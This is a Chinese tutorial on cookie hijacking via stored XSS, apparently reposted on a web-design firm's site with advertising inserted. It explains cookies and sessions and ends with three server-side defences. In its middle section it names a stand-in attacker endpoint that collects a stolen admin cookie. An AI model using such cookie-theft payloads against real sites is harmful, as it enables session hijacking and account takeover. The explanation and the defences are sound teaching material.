Web安全之Cookie劫持

1.Cookie是什么?

创新互联专注为客户提供全方位的互联网综合服务，包含不限于网站制作、网站建设、北海街道网络推广、微信小程序定制开发、北海街道网络营销、北海街道企业策划、北海街道品牌公关、搜索引擎seo、人物专访、企业宣传片、企业代运营等，从售前售中售后，我们都将竭诚为您服务，您的肯定，是我们最大的嘉奖；创新互联为所有大学生创业者提供北海街道建站搭建服务，24小时服务热线：028-86922220，官方网址：www.cdcxhl.com

2.窃取的原理是什么?

3.系统如何防Cookie劫持呢?

看完这三个回答，你就明白哪位传奇大侠是如何成功的!!!

Cookie:

HTTP天然是无状态的协议，为了维持和跟踪用户的状态，引入了Cookie和Session。Cookie包含了浏览器客户端的用户凭证，相对较小。Session则维护在服务器，用于维护相对较大的用户信息。

用通俗的语言，Cookie是钥匙，Session是锁芯。

Cookie简单理解就是钥匙，每次去服务端获取资源，需要带着这把钥匙，只有自己的锁芯(资源)，才能打开。

如果你丢掉了钥匙，那没办法，只能配一把钥匙和锁芯。

但是如果钥匙被别人拿了，那别人就可以冒充你的身份，去打开你的锁芯，从而获取你的信息，甚至挪用你的资金。这是非常危险的。

XSS攻击:

XSS(CrossSiteScripting)是跨站点脚本攻击的缩写。其就是利用站点开放的文本编辑并发布的功能，从而造成攻击。

其实说的简单一点，就是输入javascript脚本，窃取并投递cookie信息到自己的站点。

比如攻击者以一个普通用户登录进来，然后在输入框中提交以下数据：

快看，这里有美女在洗澡

攻击者提交了条带标签的数据，该条数据保存于服务器端，而管理员登入时，不小心点击这个链接时，则会把自身的cookie信息投递给hacker设定的网址：

http://attacker-site.com/xss_collect/m=xxxxxxyyyyyzzz

有了该session-id，攻击者在会话有效期内即可获得管理员的权限，并且由于攻击数据已添加入数据库，只要攻击数据未被删除，那么攻击还有可能生效，是持久性的。

Cookie劫持的防:

基于XSS攻击，窃取Cookie信息，并冒充他人身份。

服务端如何防呢?

第一种办法是:

给Cookie添加HttpOnly属性，这种属性设置后，只能在http请求中传递，在脚本中，document。cookie无法获取到该Cookie值。对XSS的攻击，有一定的防御值。但是对网络拦截，还是泄露了。

第二种办法:

在cookie中添加校验信息，这个校验信息和当前用户外置环境有些关系，比如ip，useragent等有关。这样当cookie被人劫持了，并冒用，但是在服务器端校验的时候，发现校验值发生了变化，因此要求重新登录，这样也是种很好的思路，去规避cookie劫持。

第三种办法:

cookie中sessionid的定时更换，让sessionid按一定频率变换，同时对用户而言，该操作是透明的，这样保证了服务体验的一致性。

当前文章：Web安全之Cookie劫持
网站链接：http://www.stwzsj.com/qtweb/news21/13721.html

网站建设、网络推广公司-创新互联，是专注品牌与效果的网站制作，网络营销seo公司；服务项目有等

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 创新互联